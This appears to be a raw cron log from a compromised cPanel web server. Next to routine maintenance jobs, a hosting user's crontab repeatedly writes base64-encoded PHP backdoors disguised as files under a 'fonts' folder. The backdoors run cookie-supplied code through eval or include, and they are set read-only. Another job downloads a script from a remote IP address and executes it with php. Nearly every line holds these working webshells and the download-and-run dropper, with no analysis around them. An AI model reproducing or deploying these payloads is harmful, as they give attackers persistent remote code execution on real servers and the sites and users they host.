Sep 21 23:25:01 ip-184-168-122-23 CROND[3332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:26:01 ip-184-168-122-23 CROND[3448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:26:01 ip-184-168-122-23 CROND[3450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:26:01 ip-184-168-122-23 CROND[3452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:26:01 ip-184-168-122-23 CROND[3453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:26:01 ip-184-168-122-23 CROND[3451]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:27:01 ip-184-168-122-23 CROND[3559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:27:01 ip-184-168-122-23 CROND[3558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:27:01 ip-184-168-122-23 CROND[3560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:27:01 ip-184-168-122-23 CROND[3561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:28:01 ip-184-168-122-23 CROND[3774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:28:01 ip-184-168-122-23 CROND[3776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:28:01 ip-184-168-122-23 CROND[3778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:28:01 ip-184-168-122-23 CROND[3777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:28:01 ip-184-168-122-23 CROND[3779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:29:01 ip-184-168-122-23 CROND[3897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:29:01 ip-184-168-122-23 CROND[3899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:29:01 ip-184-168-122-23 CROND[3900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:29:01 ip-184-168-122-23 CROND[3901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:30:01 ip-184-168-122-23 CROND[4003]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 23:30:01 ip-184-168-122-23 CROND[4006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:30:01 ip-184-168-122-23 CROND[4007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:30:01 ip-184-168-122-23 CROND[4009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:30:01 ip-184-168-122-23 CROND[4012]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:30:01 ip-184-168-122-23 CROND[4010]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:30:01 ip-184-168-122-23 CROND[4016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:30:01 ip-184-168-122-23 CROND[4017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:31:01 ip-184-168-122-23 CROND[4130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:31:01 ip-184-168-122-23 CROND[4134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:31:01 ip-184-168-122-23 CROND[4133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:31:01 ip-184-168-122-23 CROND[4132]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 23:31:01 ip-184-168-122-23 CROND[4135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:32:01 ip-184-168-122-23 CROND[4320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:32:01 ip-184-168-122-23 CROND[4324]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:32:01 ip-184-168-122-23 CROND[4322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:32:01 ip-184-168-122-23 CROND[4323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:32:01 ip-184-168-122-23 CROND[4325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:33:01 ip-184-168-122-23 CROND[4433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:33:01 ip-184-168-122-23 CROND[4436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:33:01 ip-184-168-122-23 CROND[4435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:33:01 ip-184-168-122-23 CROND[4437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:34:01 ip-184-168-122-23 CROND[4543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:34:01 ip-184-168-122-23 CROND[4544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:34:01 ip-184-168-122-23 CROND[4547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:34:01 ip-184-168-122-23 CROND[4549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:34:01 ip-184-168-122-23 CROND[4548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:35:02 ip-184-168-122-23 CROND[4656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:35:02 ip-184-168-122-23 CROND[4658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:35:02 ip-184-168-122-23 CROND[4661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:35:02 ip-184-168-122-23 CROND[4663]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 23:35:02 ip-184-168-122-23 CROND[4662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:35:02 ip-184-168-122-23 CROND[4668]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:35:02 ip-184-168-122-23 CROND[4666]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 23:35:02 ip-184-168-122-23 CROND[4667]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:36:01 ip-184-168-122-23 CROND[4784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:36:01 ip-184-168-122-23 CROND[4786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:36:01 ip-184-168-122-23 CROND[4789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:36:01 ip-184-168-122-23 CROND[4787]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:36:01 ip-184-168-122-23 CROND[4788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:37:02 ip-184-168-122-23 CROND[4978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:37:02 ip-184-168-122-23 CROND[4977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
